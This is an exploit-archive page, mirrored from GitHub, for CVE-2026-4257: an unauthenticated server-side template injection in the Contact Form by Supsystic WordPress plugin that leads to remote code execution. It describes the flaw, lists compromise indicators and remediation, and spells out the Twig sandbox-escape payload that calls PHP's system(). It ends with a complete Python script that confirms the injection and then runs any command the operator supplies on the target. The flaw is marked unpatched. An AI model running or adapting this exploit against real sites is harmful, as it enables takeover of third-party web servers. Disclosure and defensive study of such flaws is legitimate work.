PoC Archive PoC Archive
Critical CVE-2026-4257 unpatched

Contact Form by Supsystic <= 1.7.36 Unauthenticated SSTI to RCE (CVE-2026-4257)

by shootcannon · 2026-07-05

Severity
Critical
CVE
CVE-2026-4257
Category
web
Affected product
Contact Form by Supsystic (WordPress plugin)
Affected versions
<= 1.7.36
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researchershootcannon
CVE / AdvisoryCVE-2026-4257
Categoryweb
SeverityCritical
CVSS ScoreN/A
StatusPoC
Tagswordpress, contact-form-by-supsystic, ssti, twig, rce, unauthenticated, prefill
RelatedN/A

Affected Target

FieldValue
Software / SystemContact Form by Supsystic (WordPress plugin)
Versions Affected<= 1.7.36
Language / PlatformPHP / WordPress plugin (Twig templating)
Authentication RequiredNo
Network Access RequiredYes (HTTP access to the page hosting the vulnerable contact form)

Summary

CVE-2026-4257 is an unauthenticated Server-Side Template Injection (SSTI) vulnerability in the “Contact Form by Supsystic” WordPress plugin’s prefill functionality (cfsPreFill parameter). A form field value is rendered through the Twig template engine without sufficient sandboxing, allowing an attacker to inject Twig expressions. The included PoC first confirms SSTI with a simple arithmetic probe ({{7*7}}) and then escalates to full remote code execution by abusing Twig’s _self.env.registerUndefinedFilterCallback() / _self.env.getFilter() sandbox-escape gadget to invoke system() with an attacker-supplied command.


Vulnerability Details

Root Cause

The plugin’s contact form prefill feature takes a field name from the query string (e.g. first_name) and passes an attacker-controlled value for that field directly into a Twig template rendering context (cfsPreFill=1) without escaping or restricting template syntax, resulting in classic SSTI. Twig’s _self.env object exposes registerUndefinedFilterCallback(), which can be pointed at PHP’s system function, enabling arbitrary OS command execution when the “filter” is subsequently invoked via getFilter().

Attack Vector

  1. Identify a page hosting the vulnerable Supsystic contact form and a form field name (e.g. first_name).
  2. Send a GET request with cfsPreFill=1 and the target field set to {{7*7}} to confirm SSTI (response reflects 49).
  3. Send a second request where the target field holds the payload {{_self.env.registerUndefinedFilterCallback(forms.params.fields.1.value)}}{{_self.env.getFilter(forms.params.fields.2.value)}}, with last_name=system and email=<command>. This registers system as an “undefined filter” callback and then triggers it with the attacker’s command as the filter name/argument.
  4. The command’s output is reflected back in the rendered field’s value attribute in the HTTP response.

Impact

Unauthenticated remote code execution as the web server / PHP-FPM user on any WordPress site running the vulnerable plugin version with the prefill feature reachable.


Environment / Lab Setup

Target:   WordPress site with "Contact Form by Supsystic" <= 1.7.36 installed and a form with prefill enabled
Attacker: Python 3 with the `requests` library

Proof of Concept

PoC Script

See cve-2026-4257.py in this folder.

1
python3 cve-2026-4257.py -u "http://TARGET/page-with-form/" -f first_name -c "id"

The script first issues an SSTI confirmation request ({{7*7}} -> looks for 49 in the response), then sends the RCE payload with the -c command and parses the command output out of the reflected field value in the HTML response.


Detection & Indicators of Compromise

Signs of compromise:

  • Access log entries containing Twig template syntax or _self.env in query string parameters directed at contact-form pages
  • Unexpected child processes spawned by the PHP-FPM / Apache / nginx worker handling WordPress requests
  • Unexplained files, webshells, or outbound connections originating from the WordPress host shortly after such requests

Remediation

ActionDetail
Primary fixUpdate “Contact Form by Supsystic” to the latest patched version (> 1.7.36) per the vendor advisory
Interim mitigationDisable the prefill feature, restrict access to contact-form pages via WAF rules blocking Twig/SSTI-like payloads in query parameters, or temporarily disable the plugin

References


Notes

Mirrored from https://github.com/shootcannon/CVE-2026-4257 on 2026-07-05.

cve-2026-4257.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import requests
import argparse
import re
import urllib.parse

def check_ssti(url, field_name):
    print(f"[*] Testing SSTI on {url} with field {field_name}...")
    
    # Simple arithmetic test
    test_payload = "{{7*7}}"
    params = {
        "cfsPreFill": "1",
        field_name: test_payload
    }
    target_url = f"{url}?{urllib.parse.urlencode(params)}"
    
    try:
        response = requests.get(target_url, verify=False, timeout=10)
        if "49" in response.text:
            print("[+] SSTI confirmed! Found '49' in response.")
            return True
        else:
            print("[-] SSTI test failed. '49' not found in response.")
            return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def trigger_rce(url, field_name, command):
    print(f"[*] Triggering RCE: {command}")
    
    # Payload to register system as a filter callback and then call it
    # We use forms.params.fields.1.value and fields.2.value to avoid quote escaping
    # last_name will be 'system', email will be the command
    payload = "{{_self.env.registerUndefinedFilterCallback(forms.params.fields.1.value)}}{{_self.env.getFilter(forms.params.fields.2.value)}}"
    
    params = {
        "cfsPreFill": "1",
        field_name: payload,
        "last_name": "system",
        "email": command
    }
    
    target_url = f"{url}?{urllib.parse.urlencode(params)}"
    
    try:
        response = requests.get(target_url, verify=False, timeout=10)
        print(f"[*] Response Status: {response.status_code}")
        
        # Look for common patterns in the response that might indicate success
        # The output usually appears in the 'value' attribute of the first field
        match = re.search(r'name="fields\[' + field_name + r'\]" value="([^"]+)"', response.text)
        if match:
            print(f"[!] RCE SUCCESS! Output:")
            print(f"----------------------------------------")
            print(match.group(1))
            print(f"----------------------------------------")
            return True
        else:
            print("[-] Could not find command output in response. Check the response body manually.")
            return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    print("""
CVE-2026-4257
Contact Form by Supsystic <= 1.7.36 - Unauthenticated Server-Side Template Injection via Prefill Functionality

-------------------------------------------------
    """)
    
    parser = argparse.ArgumentParser(description="PoC for CVE-2026-4257 (SSTI to RCE in Contact Form by Supsystic)")
    parser.add_argument("-u", "--url", required=True, help="URL of the page with the form")
    parser.add_argument("-f", "--field", required=True, help="Name of the form field (e.g., first_name)")
    parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute")
    
    args = parser.parse_args()
    
    if check_ssti(args.url, args.field):
        trigger_rce(args.url, args.field, args.cmd)